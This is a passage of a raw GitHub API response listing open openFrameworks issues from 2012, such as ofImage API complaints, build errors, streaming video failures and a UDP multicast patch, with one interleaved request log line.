startup","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-02-22T19:12:56Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3341020,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/926"},{"updated_at":"2012-02-22T00:28:08Z","body":"I noticed a few things when working with ofImage:\r\n\r\n* ofImage has a type variable for the image type but this is an int, as opposed to the ofImageType enum, so it's annoying to force convert ...\r\n* the width, height, & bpp variables are public, they should be protected with getters/setters\r\n* there isn't a getBytesPerPixel, you have to get the pixel reference then call getBytesPerPixel ...","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/925","comments":0,"milestone":null,"number":925,"assignee":null,"closed_at":null,"title":"ofImage has type as int, public vars, & missing getBPP, etc","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-02-22T00:28:08Z","state":"open","user":{"url":"https://api.github.com/users/danomatika","avatar_url":"https://secure.gravatar.com/avatar/5fa1d3aa502b308b8a3ae814fb88ac04?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"5fa1d3aa502b308b8a3ae814fb88ac04","login":"danomatika","id":480637},"id":3324501,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/925"},{"updated_at":"2012-03-15T13:58:41Z","body":"As requested in https://github.com/openframeworks/openFrameworks/pull/794 I've branched openframeworks:develop into my own branch and applied the fixes required to build openFrameworks for Android with MinGW on the windows platform.\r\n\r\nThe instructions on how to compile are still valid (except for the part of patching):\r\nhttp://www.multigesture.net/articles/how-to-setup-openframeworks-for-android-on-windows/\r\n\r\nNote 1: You will need to run:\r\nandroid.bat update project --target android-8 --path C:\\openFrameworks\\addons\\ofxAndroid\\ofAndroidLib\r\n\r\nThis updates the project files for ofAndroidLib project. I didn't included those because those are user specific (they contain the path to the sdk)\r\n\r\nNote 2: d3ddf8e1 \r\nI only added this commit in order to make the examples build properly. Someone still needs to fix the proper implementation.\r\n\r\nNote 3: 7a9cf0ba\r\nWhile working on NodeBeat, we found out that not all devices are using /mnt/sdcard as their external storage location. In some cases the sdcard is located somewhere else (\"Environment.getExternalStorageDirectory()\" doesnt always return the correct location). This commit fixes this problem by checking several locations as reported on multiple Stackoverflow threads. More info about this issue can be found in the commit description.\r\n\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/922","comments":12,"milestone":null,"number":922,"assignee":null,"closed_at":null,"title":"Windows compatibility patches and External storage location fixes.","labels":[],"created_at":"2012-02-19T23:30:24Z","state":"open","user":{"url":"https://api.github.com/users/falcon4ever","avatar_url":"https://secure.gravatar.com/avatar/4a503abeaa3d803e55e99093fbf1505d?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"4a503abeaa3d803e55e99093fbf1505d","login":"falcon4ever","id":480019},"id":3288053,"pull_request":{"patch_url":"https://github.com/openframeworks/openFrameworks/pull/922.patch","diff_url":"https://github.com/openframeworks/openFrameworks/pull/922.diff","html_url":"https://github.com/openframeworks/openFrameworks/pull/922"},"html_url":"https://github.com/openframeworks/openFrameworks/issues/922"},{"updated_at":"2012-02-16T09:39:46Z","body":"What about having our own transform stack , in order to:\r\n-avoid to recompute globalTransformMatrix in each ofNode\r\n-could use it when rendering with OpenGL ES 2.0 shaders , which do not support predefined matrix values as world (modelview), worldProjection , or world inverseTranspose (for normals)","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/920","comments":0,"milestone":null,"number":920,"assignee":null,"closed_at":null,"title":"Transform stack","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-02-16T09:39:46Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248309,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/920"},{"updated_at":"2012-02-16T09:31:24Z","body":"There is an easy-to-correct error in ofNode::transformGL:\r\nIt should call loadMatrix with globalTransformMatrix as parameter (with a void restoreGL), or pushMatrix then multMatrix with localTransformMatrix (with a restoreGL that pops the previously pushed matrix),\r\nNOT push then mult with global. The bug appears as soon as you have got more than one level of depth in your node tree. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/919","comments":0,"milestone":null,"number":919,"assignee":null,"closed_at":null,"title":"Error in ofNode::transformGL","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bitesize","name":"bitesize","color":"65a300"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-02-16T09:31:24Z","state":"open","user":{"url":"https://api.github.com/users/AugusteBonnin","avatar_url":"https://secure.gravatar.com/avatar/cbf7aa7c655d3652170984c9aa497a4c?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"cbf7aa7c655d3652170984c9aa497a4c","login":"AugusteBonnin","id":1442658},"id":3248230,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/919"},{"updated_at":"2012-03-08T10:15:31Z","body":"vs2010 does not include stdint.h support:\r\n\r\nhttp://stackoverflow.com/questions/126279/c99-stdint-h-header-and-ms-visual-studio\r\n\r\nwhich causes addon bugs like this:\r\n\r\nhttps://github.com/openframeworks/openFrameworks/issues/559\r\nhttps://github.com/kylemcdonald/ofxCv/issues/28\r\n\r\neven though these bugs aren't in the core, i think OF is designed to make it easy for people to write cross-platform, cross-compiler code. so i propose that we add an explicit declaration of the missing types for vs2010.\r\n\r\nthis isn't really something i'm worried about directly since i don't use vs2010, but i know people like elliot do. and it would be cleaner to add it once to the core than to add it once for every addon that is broken.\r\n\r\nthe solution would probably look like: take dan's code from the above issue, and move it from ofxOsc into the core.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/917","comments":5,"milestone":null,"number":917,"assignee":null,"closed_at":null,"title":"add global stdint.h support?","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/visual+studio","name":"visual studio","color":"ba4eba"}],"created_at":"2012-02-15T02:38:17Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3229504,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/917"},{"updated_at":"2012-03-12T14:55:20Z","body":"to match ofGetWidth(), ofGetHeight()\r\n\r\ni.e. for ofGetMouseX() / ofGetWidth()","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/916","comments":1,"milestone":null,"number":916,"assignee":null,"closed_at":null,"title":"ofGetMouseX() and ofGetMouseY() should return float","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/development-strategy","name":"development-strategy","color":"37c200"}],"created_at":"2012-02-14T05:17:47Z","state":"open","user":{"url":"https://api.github.com/users/elliotwoods","avatar_url":"https://secure.gravatar.com/avatar/bea30676dca310e7f38269f245214944?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"bea30676dca310e7f38269f245214944","login":"elliotwoods","id":328294},"id":3214174,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/916"},{"updated_at":"2012-02-13T08:16:08Z","body":"I had downloaded the 007 version, when I run of_preRelease_v007_linux/scripts/linux/debian/install_codeblocks.sh it install codeblocks without error, but when I run preRelease_v007_linux/scripts/linux/debian/install_dependencies.sh I get this error\r\n\r\ncompiling object for ../../../openFrameworks/graphics/ofGraphics.cpp\r\nmkdir -p obj/Debug/openFrameworks/graphics\r\ng++ -g3 -Wall -fexceptions -I../../../FreeImage/include -I../../../assimp/include -I../../../assimp/include/Compiler -I../../../cairo/include -I../../../cairo/include/cairo -I../../../cairo/include/pixman-1 -I../../../cairo/include/libpng15 -I../../../fmodex/include -I../../../freetype/include -I../../../freetype/include/freetype2 -I../../../freetype/include/freetype2/freetype -I../../../freetype/include/freetype2/freetype/config -I../../../freetype/include/freetype2/freetype/internal -I../../../freetype/include/freetype2/freetype/internal/services -I../../../glew/include -I../../../glew/include/GL -I../../../kiss/include -I../../../portaudio/include -I../../../rtAudio/include -I../../../tess2/include -I../../../poco/include -I../../../glu/include -I../../../openFrameworks/ -I../../../openFrameworks/3d -I../../../openFrameworks/math -I../../../openFrameworks/types -I../../../openFrameworks/graphics -I../../../openFrameworks/utils -I../../../openFrameworks/app -I../../../openFrameworks/video -I../../../openFrameworks/events -I../../../openFrameworks/communication -I../../../openFrameworks/gl -I../../../openFrameworks/sound -pthread -I/usr/include/gtk-2.0 -I/usr/lib/gtk-2.0/include -I/usr/include/atk-1.0 -I/usr/include/cairo -I/usr/include/pango-1.0 -I/usr/include/gio-unix-2.0/ -I/usr/include/pixman-1 -I/usr/include/freetype2 -I/usr/include/libpng12 -I/usr/include/glib-2.0 -I/usr/lib/glib-2.0/include -DOF_USING_GTK -MMD -MP -MFobj/Debug/openFrameworks/graphics/ofGraphics.d -MTobj/Debug/openFrameworks/graphics/ofGraphics.d -o obj/Debug/openFrameworks/graphics/ofGraphics.o -c ../../../openFrameworks/graphics/ofGraphics.cpp\r\n../../../openFrameworks/graphics/ofGraphics.cpp:37:22: warning: GL/glut.h: No such file or directory\r\n../../../openFrameworks/graphics/ofGraphics.cpp: In function ‘void ofSphere(float)’:\r\n../../../openFrameworks/graphics/ofGraphics.cpp:889: error: ‘glutSolidSphere’ was not declared in this scope\r\n../../../openFrameworks/graphics/ofGraphics.cpp:891: error: ‘glutWireSphere’ was not declared in this scope\r\nmake: *** [obj/Debug/openFrameworks/graphics/ofGraphics.o] Error 1\r\n","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/915","comments":2,"milestone":null,"number":915,"assignee":null,"closed_at":null,"title":"problems installing dependencies in debian 6.0.4","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/linux","name":"linux","color":"27607f"}],"created_at":"2012-02-13T05:45:01Z","state":"open","user":{"url":"https://api.github.com/users/atomsfat","avatar_url":"https://secure.gravatar.com/avatar/f732e5a8b77f8e4ed8fadc2c71916236?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"f732e5a8b77f8e4ed8fadc2c71916236","login":"atomsfat","id":140008},"id":3196145,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/915"},{"updated_at":"2012-02-12T04:41:26Z","body":"We have ofSetDataPathRoot() .... it makes sense to have a Getter as well. Basically I wanted the absolute path to the root data folder.\r\n\r\nI managed to fake this by calling ofToDataPath(\".\",true) but this seems a little counter-intuitive.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/914","comments":0,"milestone":null,"number":914,"assignee":null,"closed_at":null,"title":"Add ofGetDataPathRoot","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-02-12T04:41:26Z","state":"open","user":{"url":"https://api.github.com/users/pierrep","avatar_url":"https://secure.gravatar.com/avatar/be11c9de8242e7aef0446eceaa289e01?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"be11c9de8242e7aef0446eceaa289e01","login":"pierrep","id":392160},"id":3189189,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/914"},{"updated_at":"2012-03-12T14:56:56Z","body":"it would be amazing if ofBeginShape()/ofEndShape() and ofPath supported tex coords (maybe ofTexCoord() and addTexCoord()).\r\n\r\nthis would allow for drawing arbitrary subsections of an image, or for creating an ofMesh that is texture mapped by an image.\r\n\r\nprocessing handles this with extra arguments to vertex() http://processing.org/reference/texture_.html","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/909","comments":3,"milestone":null,"number":909,"assignee":null,"closed_at":null,"title":"shapes with texCoords","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-02-10T01:42:42Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3166745,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/909"},{"updated_at":"2012-02-09T08:16:47Z","body":"a student just showed me how you can use the xcode templates for pocode to create a new project wherever you want on the disk. i know we used to have xcode templates for this, but i just tried them and it seems to be hilariously broken.\r\n\r\ni'm not sure if the new project creator stuff covers this idea or not, but it would be great to have a similar ability with OF somehow.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/902","comments":2,"milestone":null,"number":902,"assignee":null,"closed_at":null,"title":"Xcode templates should be fixed or removed","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/xcode","name":"xcode","color":"993e7a"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-02-09T04:30:13Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3152323,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/902"},{"updated_at":"2012-02-08T21:50:23Z","body":"to draw a filled ofPolyline right now, you need to use beginshape/endshape. but i think a way of adding ofPolylines to an ofPath would be really good -- even a conversion from ofPolyline to ofPath might make sense. ","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/901","comments":0,"milestone":null,"number":901,"assignee":null,"closed_at":null,"title":"easier filled ofPolyline, or easy ofPolyline->ofPath conversion","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-02-08T21:50:23Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106},"id":3148441,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/901"}] https GET api.github.com None /repos/openframeworks/openFrameworks/issues?page=6 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4977'), ('content-length', '46887'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('link', '; rel="next", ; rel="last", ; rel="first", ; rel="prev"'), ('etag', '"f8fa517a4e928136125636e8dba042a2"'), ('date', 'Tue, 29 May 2012 06:43:39 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"updated_at":"2012-02-09T14:46:48Z","body":"Hi.\r\n\r\nI've been trying to load stream video ( mpeg2 .ts and hls .m3u8 ) using OF on MacOS 10.7.2.\r\n\r\nBoth cases causes error -2048 in the line below: ( l:89, ofQuickTimePlayer.cpp )\r\n\r\n```c++\r\nerr = NewMovieFromDataRef(&movie, newMovieAsyncOK,nil, urlDataRef, URLDataHandlerSubType);\r\n```\r\n\r\nLoading remote .mp4 works perect. Loading same streams in QuickTime player(v10.1) works without any troubles.\r\n\r\nSo, it seems the trouble happens just when no videofile size info returned from server.\r\n\r\nIs it a bug? Or I've missed smthng?","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/897","comments":4,"milestone":null,"number":897,"assignee":null,"closed_at":null,"title":"ofQuickTimePlayer.createMovieFromURL fails on streaming video","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/fix-proposed","name":"fix-proposed","color":"31e03a"}],"created_at":"2012-02-06T11:42:08Z","state":"open","user":{"url":"https://api.github.com/users/4pcbr","gravatar_id":"52e8e29748826594f27b5c6c20a353e0","login":"4pcbr","id":247109,"avatar_url":"https://secure.gravatar.com/avatar/52e8e29748826594f27b5c6c20a353e0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3106705,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/897"},{"updated_at":"2012-02-05T17:11:59Z","body":"This concerns libraries included in addons in source form. According to [this issue](https://github.com/chrisoshea/ofxMidi/issues/8) reported by @danomatika, the makefile can only compile libraries' source code if they are in an addon's `/src` folder. This is in contradiction with @obviousjim's guide to addons' folder structure at http://ofxaddons.com/howto.","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/896","comments":6,"milestone":null,"number":896,"assignee":null,"closed_at":null,"title":"Makefile and ofxaddons.com guide don't agree regarding file structure","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/addon","name":"addon","color":"d68e22"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/documentation","name":"documentation","color":"cccc29"}],"created_at":"2012-02-05T15:20:42Z","state":"open","user":{"url":"https://api.github.com/users/bilderbuchi","gravatar_id":"2aed663a62fa8bf9f7aebe603d3998bb","login":"bilderbuchi","id":327442,"avatar_url":"https://secure.gravatar.com/avatar/2aed663a62fa8bf9f7aebe603d3998bb?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":3099567,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/896"},{"updated_at":"2012-02-10T02:47:13Z","body":"it needs to handle all these things:\r\n\r\n- meshes vs point clouds\r\n- different types of meshes (depending on the triangles)\r\n- indexed vs non-indexed geometry\r\n- colors, normals, texcoords\r\n- ascii vs binary\r\n- loading from externally created/defined ply files","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/880","comments":1,"milestone":null,"number":880,"assignee":null,"closed_at":null,"title":"test ofMesh::load/save rigorously","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"}],"created_at":"2012-01-25T16:55:09Z","state":"open","user":{"url":"https://api.github.com/users/kylemcdonald","gravatar_id":"e5d92e48e175112e9df112e2418bd528","login":"kylemcdonald","id":157106,"avatar_url":"https://secure.gravatar.com/avatar/e5d92e48e175112e9df112e2418bd528?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2967700,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/880"},{"updated_at":"2012-03-03T19:40:34Z","body":"If you set the proper switches on the iphone sound stream you can get it to play over whatever is playing on the users ipod without muting it. There are a bunch of switches for this behavior detailed in kAudioSessionProperty_Mode.\r\n\r\nThese would need to be set before initing the audio session. The other issue is that there are like 15-20 flags you can set. Maybe just a slightly higher level setting on the stream so that these behaivors could be set in the users testapp.mm","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/878","comments":0,"milestone":null,"number":878,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"add a switch to the iphone soundstream to support ambient","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/feature","name":"feature","color":"622425"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2012-01-24T16:41:17Z","state":"open","user":{"url":"https://api.github.com/users/jonbro","gravatar_id":"893ec14dc008e3774afe5841115920d6","login":"jonbro","id":1597,"avatar_url":"https://secure.gravatar.com/avatar/893ec14dc008e3774afe5841115920d6?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2952993,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/878"},{"updated_at":"2012-05-15T18:33:39Z","body":"change pan range to -1..1, right now is 0..1","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/875","comments":2,"milestone":null,"number":875,"assignee":{"url":"https://api.github.com/users/damiannz","gravatar_id":"d1e060fe75a68836bf8a3209a9066bbe","login":"damiannz","id":144366,"avatar_url":"https://secure.gravatar.com/avatar/d1e060fe75a68836bf8a3209a9066bbe?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"ofOpenALSoundPlayer pan -1..1","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/section-sound","name":"section-sound","color":"DDDDDD"}],"created_at":"2012-01-21T00:01:45Z","state":"open","user":{"url":"https://api.github.com/users/arturoc","gravatar_id":"84c985e7168027f833fd837f3afd9f3e","login":"arturoc","id":48240,"avatar_url":"https://secure.gravatar.com/avatar/84c985e7168027f833fd837f3afd9f3e?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2918619,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/875"},{"updated_at":"2012-03-10T05:09:49Z","body":" testImg.saveImage(ofxiPhoneGetDocumentsDirectory() + \"test.png\");\r\ncrashes the App and results in this error:\r\n\r\nProgram received signal: \"SIGARBT\".\r\n\r\nerror thrown in this line:\r\n\r\n FreeImage_Save(fif, bmp, fileName.c_str());","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/872","comments":1,"milestone":null,"number":872,"assignee":{"url":"https://api.github.com/users/julapy","gravatar_id":"8dca8d8de1b5950c895fb72e0527c6f0","login":"julapy","id":331382,"avatar_url":"https://secure.gravatar.com/avatar/8dca8d8de1b5950c895fb72e0527c6f0?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"closed_at":null,"title":"saveImage crashes in iOS Simulator","labels":[{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/core","name":"core","color":"db6a1f"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/iOS","name":"iOS","color":"2babad"},{"url":"https://api.github.com/repos/openframeworks/openFrameworks/labels/bug","name":"bug","color":"b31d1d"}],"created_at":"2012-01-17T21:51:17Z","state":"open","user":{"url":"https://api.github.com/users/khlrqa","gravatar_id":"dfa7e4582a04e784d50c750ae51d894f","login":"khlrqa","id":53301,"avatar_url":"https://secure.gravatar.com/avatar/dfa7e4582a04e784d50c750ae51d894f?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"},"id":2875276,"pull_request":{"patch_url":null,"diff_url":null,"html_url":null},"html_url":"https://github.com/openframeworks/openFrameworks/issues/872"},{"updated_at":"2012-01-07T15:38:14Z","body":"Hi -\r\n\r\nwhen it comes down to multicast communication over udp, it's is important that the correct ip address of the local interface is set. Most computers nowadays have several interfaces (wired and wireless). Whereas ofxUDPManager::BindMcast uses INADDR_ANY as the local address, this might be wrong if you are not using the default interface. In my case, I connect the computers in a local wlan. The wlan device is not the primary device on my machine.\r\n\r\nTherefore I rewrote the BindMcast function adding a third argument pLocal, the local Ip address of the network interface.\r\n\r\n```c++\r\nbool ofxUDPManager::BindMcast(char *pMcast, unsigned short usPort, char *pLocal)\r\n```\r\nchanging the line: \r\n\r\n```c++\r\nmreq.imr_interface.s_addr = pLocal == \"\" ? INADDR_ANY: inet_addr(pLocal);\r\n```\r\n\r\nwhich makes a different header file as well:\r\n\r\n```c++\r\nbool BindMcast(char *pMcast, unsigned short usPort, char *pLocal = \"\");\r\n```\r\n\r\nAs you can see, the pLocal Adress is optional, if omitted, INADDR_ANY is used (backwards compatibility).\r\n\r\n\r\nNOTE:\r\n\r\nI've added the function:\r\n\r\n```c++\r\nchar* GetInterfaceAddr(const char* interface); //returns the IP of a specified interface\r\n```\r\n\r\nto the ofxUDPManager as well. This function returns the IP adress of an interface (e.g. en1 on a mac for the airport device). This is useful in dhcp networks, where your own address always changes. The function itself looks like:\r\n\r\n```c++\r\n//--------------------------------------------------------------------------------\r\nchar* ofxUDPManager::GetInterfaceAddr(const char* interface)\r\n{\r\n\tint fd;\r\n\tstruct ifreq ifr;\r\n\tfd = socket(AF_INET, SOCK_DGRAM, 0);\r\n\tifr.ifr_addr.sa_family = AF_INET;\r\n\tstrncpy(ifr.ifr_name, interface, IFNAMSIZ-1);\r\n\tioctl(fd, SIOCGIFADDR, &ifr);\r\n\tclose(fd);\r\n\treturn(inet_ntoa(((struct sockaddr_in *)&ifr.ifr_addr)->sin_addr));\r\n}\r\n```\r\n\r\nPlease not that for this function, additional headers have to be included in ofxUDPManager.h:\r\n\r\n```c++\r\n#include \r\n```\r\n\r\nIf you consider the changes useful, theres a copy of the two files downloadable here:\r\nhttp://dl.dropbox.com/u/394122/ofxUDPManager_uh_07012012.zip\r\n\r\nregards,\r\nUrs Hofer","url":"https://api.github.com/repos/openframeworks/openFrameworks/issues/866","comments":0,"milestone":null,"number":866,"assignee":null,"closed_at":null,"title":"Multicast & UDP: Local IP required when dealing with multiple network 